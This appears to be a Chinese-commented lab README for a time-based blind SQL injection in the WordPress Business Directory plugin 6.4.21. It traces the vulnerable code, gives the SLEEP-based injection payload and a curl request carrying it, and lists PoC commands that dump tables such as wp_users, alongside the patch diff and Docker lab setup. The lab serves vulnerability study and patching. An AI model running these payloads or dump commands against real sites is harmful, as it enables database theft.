private function filter_args( $args ) {
    $filters = array();

    foreach ( $args as $f => $v ) {
        $op = '=';
        // ...

        if ( is_array( $v ) ) {
            // ❌ 存在漏洞 — 无任何净化处理，直接进行字符串拼接
            $filters[] = "$f IN ('" . implode( "','", $v ) . "')";
        } else {
            // ✓ 安全 — 使用 $wpdb->prepare()
            $filters[] = $this->db->prepare( "$f $op %s", $v );
        }
    }

    return $filters;
}

// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
    $this->payment = WPBDP_Payment::objects()->get(
        array( 'payment_key' => $payment_id )  // $payment_id 作为值传递
    );
}

GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>

  PHP: $_REQUEST['payment'] = ['<payload>']   ← 由于 [] 符号成为数组
                    |
                    v
  class-checkout.php: fetch_payment()
                    |
                    v
  WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
                    |
                    v
  class-db-query-set.php: filter_args()
      => is_array($v) == TRUE → 不安全的代码分支
      => "$f IN ('" . implode("','", $v) . "')"
                    |
                    v
  MySQL: SELECT * FROM wp_wpbdp_payments
         WHERE payment_key IN ('<payload>')

payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -

SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')

// 修复前（存在漏洞）
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";

// 修复后（已修补）
$escaped   = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";

pip3 install requests colorama --break-system-packages

cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini

cd cve-2026-2576-lab
docker compose up -d --build

docker compose up setup

╔══════════════════════════════════════════════════════════╗
║           Lab Setup Complete!                            ║
╠══════════════════════════════════════════════════════════╣
║  WordPress:   http://localhost:8080                      ║
║  WP Admin:    http://localhost:8080/wp-admin             ║
║  phpMyAdmin:  http://localhost:8082                      ║
╠══════════════════════════════════════════════════════════╣
║  admin / admin123                                        ║
║  victim / victimpass123                                  ║
╠══════════════════════════════════════════════════════════╣
║  Plugin: 6.4.21 (VULNERABLE)                             ║
║  BD Page ID: 4                                           ║
╚══════════════════════════════════════════════════════════╝

docker exec lab_wordpress bash -c \
  "grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
  | head -1"
# 预期输出：* Version: 6.4.21

docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"

+----+--------------+---------+
| id | payment_key  | status  |
+----+--------------+---------+
|  1 | seed-pay-001 | pending |
+----+--------------+---------+

docker compose up -d pma
# 访问 http://localhost:8082  (root / rootpass)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets

python3 poc/poc.py --target http://localhost:8080 --page-id 4  --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"  

# 最快提取方式
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8

# 基线：应在 < 0.1s 内返回
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"

# 睡眠探测：应在约 4s 内返回（SLEEP(2) × 2 次执行）
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")" 

python3 poc/patch_diff.py 

# 查看完整差异
python3 poc/patch_diff.py --full

# 下载两个版本
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422

# 对比存在漏洞的文件
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php

# 停止实验环境（保留数据）
docker compose stop

# 重新启动
docker compose start

# 完全拆除 — 销毁所有卷和数据
docker compose down -v

# 从头重新运行安装程序
docker compose down -v && docker compose up setup

# 进入 WordPress 容器
docker exec -it lab_wordpress bash

# 查看 WordPress PHP 错误日志
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log

# 实时查看 MySQL 查询日志
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"

docker exec lab_mysql tail -f /tmp/mysql.log